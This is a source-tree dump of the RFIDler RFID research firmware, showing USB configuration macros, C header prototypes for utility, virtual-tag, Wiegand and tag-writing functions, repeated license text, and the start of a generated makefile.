//#define USB_PING_PONG_MODE USB_PING_PONG__ALL_BUT_EP0 //NOTE: This mode is not supported in PIC18F4550 family rev A3 devices
//#define USB_POLLING
#define USB_INTERRUPT
/* Parameter definitions are defined in usb_device.h */
#define USB_PULLUP_OPTION USB_PULLUP_ENABLE
//#define USB_PULLUP_OPTION USB_PULLUP_DISABLED
#define USB_TRANSCEIVER_OPTION USB_INTERNAL_TRANSCEIVER
//External Transceiver support is not available on all product families. Please
// refer to the product family datasheet for more information if this feature
// is available on the target processor.
//#define USB_TRANSCEIVER_OPTION USB_EXTERNAL_TRANSCEIVER
// we're doing CDC serial so we need to be at least Full speed
#define USB_SPEED_OPTION USB_FULL_SPEED
//#define USB_SPEED_OPTION USB_LOW_SPEED //(not valid option for PIC24F devices)
#define USB_SUPPORT_DEVICE
#define USB_NUM_STRING_DESCRIPTORS 4
//#define USB_INTERRUPT_LEGACY_CALLBACKS
#define USB_ENABLE_ALL_HANDLERS
//#define USB_ENABLE_SUSPEND_HANDLER
//#define USB_ENABLE_WAKEUP_FROM_SUSPEND_HANDLER
//#define USB_ENABLE_SOF_HANDLER
//#define USB_ENABLE_ERROR_HANDLER
//#define USB_ENABLE_OTHER_REQUEST_HANDLER
//#define USB_ENABLE_SET_DESCRIPTOR_HANDLER
//#define USB_ENABLE_INIT_EP_HANDLER
//#define USB_ENABLE_EP0_DATA_HANDLER
//#define USB_ENABLE_TRANSFER_COMPLETE_HANDLER
/** DEVICE CLASS USAGE *********************************************/
#define USB_USE_CDC
/** ENDPOINTS ALLOCATION *******************************************/
#define USB_MAX_EP_NUMBER 3
/* CDC */
#define CDC_COMM_INTF_ID 0x0
#define CDC_COMM_EP 2
#define CDC_COMM_IN_EP_SIZE 8
#define CDC_DATA_INTF_ID 0x01
#define CDC_DATA_EP 3
#define CDC_DATA_OUT_EP_SIZE 64
#define CDC_DATA_IN_EP_SIZE 64
//#define USB_CDC_SUPPORT_ABSTRACT_CONTROL_MANAGEMENT_CAPABILITIES_D2 //Send_Break command
#define USB_CDC_SUPPORT_ABSTRACT_CONTROL_MANAGEMENT_CAPABILITIES_D1 //Set_Line_Coding, Set_Control_Line_State, Get_Line_Coding, and Serial_State commands
/** DEFINITIONS ****************************************************/
#define RFIDLER_SERIAL_NUMBER_STRING_DESC_INDEX 3
#endif //USBCFG_H
================================================
FILE: firmware/Pic32/RFIDler.X/include/util.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define CRC16_MASK_CCITT 0x1021 // CRC-CCITT mask (ISO 3309, used in X25, HDLC)
#define CRC16_MASK_ISO_11785 0x8408 // ISO 11785 animal tags
#define CRC16_MASK_CRC16 0xA001 // standard CRC16 mask (used in ARC files)
/*
* Hitag Crypto support macros
* These macros reverse the bit order in a byte, or *within* each byte of a
* 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)
*/
#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \
+ (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \
+ (((X) << 5) &64) + (((X) << 7) &128) )
#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8))
#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16))
#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32))
BYTE approx(unsigned long number, unsigned long target, unsigned char percentage);
unsigned int bcdtouint(BYTE *bcd, BYTE length);
unsigned long long bcdtoulonglong(BYTE *bcd, BYTE length);
void inttobinarray(BYTE *target, unsigned int source, unsigned int bits);
void ulongtobinarray(BYTE *target, unsigned long source, unsigned int bits);
void ulonglongtobinarray(BYTE *target, unsigned long long source, unsigned int bits);
void inttobinstring(BYTE *target, unsigned int source, unsigned int bits);
void ulongtobinstring(BYTE *target, unsigned long source, unsigned int bits);
BOOL ulongtohex(BYTE *target, unsigned long source);
BOOL ulonglongtohex(BYTE *target, unsigned long long source);
unsigned int binarraytoint(BYTE *bin, BYTE length);
unsigned long long binarraytolonglong(BYTE *bin, BYTE length);
unsigned long binarraytoulong(BYTE *bin, BYTE length);
BYTE hextobyte(BYTE *hex);
void printhexreadable(BYTE *hex, BYTE maxlength);
unsigned long hextoulong(BYTE *hex);
unsigned long hexreversetoulong(BYTE *hex);
unsigned long long hextoulonglong(BYTE *hex);
unsigned long long hexreversetoulonglong(BYTE *hex);
char hextolonglong(unsigned long long *out, unsigned char *hex);
unsigned int hextobinarray(unsigned char *target, unsigned char *source);
unsigned int hextobinstring(unsigned char *target, unsigned char *source);
unsigned int binarraytohex(unsigned char *target, unsigned char *source, unsigned int length);
void hexprintbinarray(BYTE *bin, unsigned int length);
unsigned int binstringtohex(unsigned char *target, unsigned char *source);
unsigned int binstringtobinarray(BYTE *target, BYTE *source);
void binstringtobyte(BYTE *target, unsigned char *source, BYTE length);
void binarraytobinstring(BYTE *target, BYTE *source, unsigned int length);
void printhexasbin(unsigned char *hex);
void printbinashex(unsigned char *bin);
void invertbinarray(BYTE *target, BYTE *source, unsigned int length);
void invertbinstring(BYTE *target, BYTE *source);
void printbinarray(unsigned char *bin, unsigned int length);
unsigned char getbit(unsigned char byte, unsigned char bit);
void bytestohex(unsigned char *target, unsigned char *source, unsigned int length);
unsigned int manchester_encode(unsigned char *target, unsigned char *source, unsigned int length);
unsigned int manchester_decode(unsigned char *target, unsigned char *source, unsigned int length);
char * strip_newline(char *buff);
BOOL command_ack(BOOL data);
BOOL command_nack(BYTE *reason);
BOOL command_unknown(void);
void ToUpper(char *string);
void string_reverse(unsigned char *string, unsigned int length);
BOOL string_byteswap(unsigned char *string, unsigned int length);
BYTE parity(unsigned char *string, BYTE type, unsigned int length);
unsigned long get_reader_pulse(unsigned int timeout_us);
unsigned long get_reader_gap(unsigned int timeout_us);
unsigned int crc_ccitt(BYTE *data, unsigned int length);
unsigned int crc16(unsigned int crc, BYTE *data, unsigned int length, unsigned int mask);
void space_indent(BYTE count);
void xml_version(void);
void xml_header(BYTE *item, BYTE *indent);
void xml_footer(BYTE *item, BYTE *indent, BOOL newline);
void xml_indented_text(BYTE *data, BYTE indent);
void xml_item_text(BYTE *item, BYTE *data, BYTE *indent);
void xml_item_decimal(BYTE *item, BYTE num, BYTE *indent);
void xml_indented_array(BYTE *data, BYTE mask, unsigned int length, BYTE indent);
void xml_item_array(BYTE *item, BYTE *data, BYTE mask, unsigned int length, BYTE *indent);
================================================
FILE: firmware/Pic32/RFIDler.X/include/vtag.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
void vtag_wipe(void);
void vtag_dump(void);
BOOL vtag_set_tag_type(BYTE *tagtype);
void vtag_set_tag_from_type(BYTE tag);
BOOL vtag_copy_from_tag(BYTE *tagtype, BYTE *pass);
BOOL vtag_create_from_uid(BYTE *tagtype, BYTE source_tagtype, BYTE *uid);
BOOL vtag_convert(BYTE *tagtype);
BOOL vtag_write_to_tag(BYTE *pass);
BOOL vtag_write_blocks(unsigned int startblock, BYTE *data);
================================================
FILE: firmware/Pic32/RFIDler.X/include/wiegand.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL learn_wiegand(BYTE trigger);
BOOL read_wiegand(BYTE trigger);
unsigned char read_wiegand_bit(unsigned int timeout);
BOOL write_wiegand(BYTE *data);
BOOL write_wiegand_bit(BYTE thisbit);
BOOL wiegand_test(void);
void wiegand_add_parity(unsigned char *target, unsigned char *source, unsigned char length);
void wiegand_out_disable(void);
void wiegand_out_enable(void);
void wiegand_set_pullups(BOOL state);
//void wiegand_set_pulldowns(BOOL state);
================================================
FILE: firmware/Pic32/RFIDler.X/include/write.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL write_tag(unsigned int block, BYTE *data, BOOL verify);
BOOL write_vtag_to_tag(void);
================================================
FILE: firmware/Pic32/RFIDler.X/nbproject/Makefile-debug.mk
================================================
#
# Generated Makefile - do not edit!
#
# Edit the Makefile in the project folder instead (../Makefile). Each target
# has a -pre and a -post target defined where you can add customized code.
#
# This makefile implements configuration specific macros and targets.
# Include project Makefile
ifeq "${IGNORE_LOCAL}" "TRUE"
# do not include local makefile. User is passing all local related variables already
else
include Makefile
# Include makefile containing local settings
ifeq "$(wildcard nbproject/Makefile-local-debug.mk)" "nbproject/Makefile-local-debug.mk"
include nbproject/Makefile-local-debug.mk
endif
endif
# Environment
MKDIR=mkdir -p
RM=rm -f
MV=mv
CP=cp
# Macros
CND_CONF=debug
ifeq ($(TYPE_IMAGE), DEBUG_RUN)
IMAGE_TYPE=debug
OUTPUT_SUFFIX=elf
DEBUGGABLE_SUFFIX=elf
FINAL_IMAGE=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}
else
IMAGE_TYPE=production
OUTPUT_SUFFIX=hex
DEBUGGABLE_SUFFIX=elf
FINAL_IMAGE=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}
endif
# Object Directory
OBJECTDIR=build/${CND_CONF}/${IMAGE_TYPE}
# Distribution Directory
DISTDIR=dist/${CND_CONF}/${IMAGE_TYPE}
# Source Files Quoted if spaced
SOURCEFILES_QUOTED_IF_SPACED="/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c" "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c" "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c" "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c" "/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c" /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c src/indala.c src/main.c src/psk.c src/usb_descriptors.c src/util.c src/emulate.c src/ask.c src/fsk.c src/clock.c src/rwd.c src/detect.c src/hitagcrypto.c src/wiegand.c src/comms.c src/nvm.c src/mcp414x.c src/spi.c src/uart3.c src/tags.c src/unique.c src/led.c src/em.c src/hid.c src/read.c src/isr.c src/auto.c src/fdxb.c src/hitag.c src/uid.c src/login.c src/write.c src/auth.c src/q5.c src/vtag.c src/config.c src/select.c src/sdcard.c src/debug_pins.c src/awid.c src/analogue.c src/iso7816.c src/t55x7.c src/sniff.c src/tamagotchi.c src/hdx.c src/hitag2crack.c src/paxton.c
# Object Files Quoted if spaced
